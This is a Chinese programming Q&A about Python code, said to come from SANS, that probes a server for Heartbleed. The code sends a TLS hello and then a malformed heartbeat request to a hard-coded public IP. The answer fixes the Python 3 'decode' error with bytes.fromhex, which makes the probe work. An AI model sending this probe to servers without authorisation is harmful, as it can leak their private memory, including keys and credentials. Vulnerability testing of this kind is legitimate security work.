我一直在网上寻找ssl漏洞,并从Sans在线想出了一个简单的代码:
import socket
sh=socket.socket()
sh.connect(("54.217.122.251",443))
sh.send("16030200310100002d0302500bafbbb75ab83ef0ab9ae3f39c6315334137acfd6c181a2460dc4967c2fd960000040033c01101000000".decode('hex'))
helloresponse=sh.recv(8196)
sh.send("1803020003014000".decode('hex'))
data=sh.recv(8196)
此代码只是使用python解码将已解码格式的Hello消息发送到SSL服务器,以查找该服务器是否容易受到Heartbleed漏洞的攻击。但是当我在python 3.7中运行此代码时,它显示如下错误:
sh.send("16030200310100002d0302500bafbbb75ab83ef0ab9ae3f39c6315334137acfd6c181a2460dc4967c2fd960000040033c01101000000".decode('hex'))
AttributeError: 'str' object has no attribute 'decode'
注意:请尝试使用另一个IP地址而不是此地址中使用的IP地址
从十六进制解码str
值在Python 2中有效:
>>> "1803020003014000".decode('hex')
'\x18\x03\x02\x00\x03\x01@\x00'
在Python 3中,您想使用bytes.fromhex:
>>> bytes.fromhex("1803020003014000")
b'\x18\x03\x02\x00\x03\x01@\x00'